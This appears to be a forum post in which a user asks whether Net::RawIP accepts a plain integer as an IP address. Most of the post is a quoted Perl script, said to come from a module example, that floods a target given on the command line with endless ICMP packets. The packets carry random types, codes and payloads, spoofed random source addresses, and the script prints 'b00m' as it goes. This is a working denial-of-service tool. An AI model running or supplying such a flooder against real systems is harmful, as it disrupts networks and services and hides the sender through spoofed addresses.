Thanks for the quickest reply

Yes it's work, but please look at this code (i got this code from Net::Raw Example)

$| = 1;
require 'getopts.pl';
use Net::RawIP;
Getopts('t:');
die "Usage $0 -t <target>" unless $opt_t;
srand(time);
$i = 996;
$data .= chr(int rand(255)),$i-- while($i); 

$icmp = new Net::RawIP({
                        ip => {
                                 ihl => 6,
                     tot_len => 1024,
                     id => 1,
                     ttl => 255,
                     frag_off => 0,
                     daddr => $opt_t
                               },
            icmp => { 
                     id => 2650, 
                 data => $data 
                }
               });
               
for(;;){
 $j++;
 $icmp->set({
            ip => { saddr => 17000000 + int rand 4261000000 },
            icmp => { 
                 type => int rand(14),
                 code => int rand(10),
             sequence => int rand(255)
                }                                           
          });
 $icmp->send;
 print "b00m " unless $j%1000;      
}
[download]

Have a look in looping area, we got :
ip => { saddr => 17000000 + int rand 4261000000 }

The author give $addr with random int number without doing packing or unpack, so i make my own conclusion that we can give $addr with int number (like code above) as long as it's valid ip addy, is it true?

i m trying hard to explain my problem in proper english i hope you can understand

thanks, zak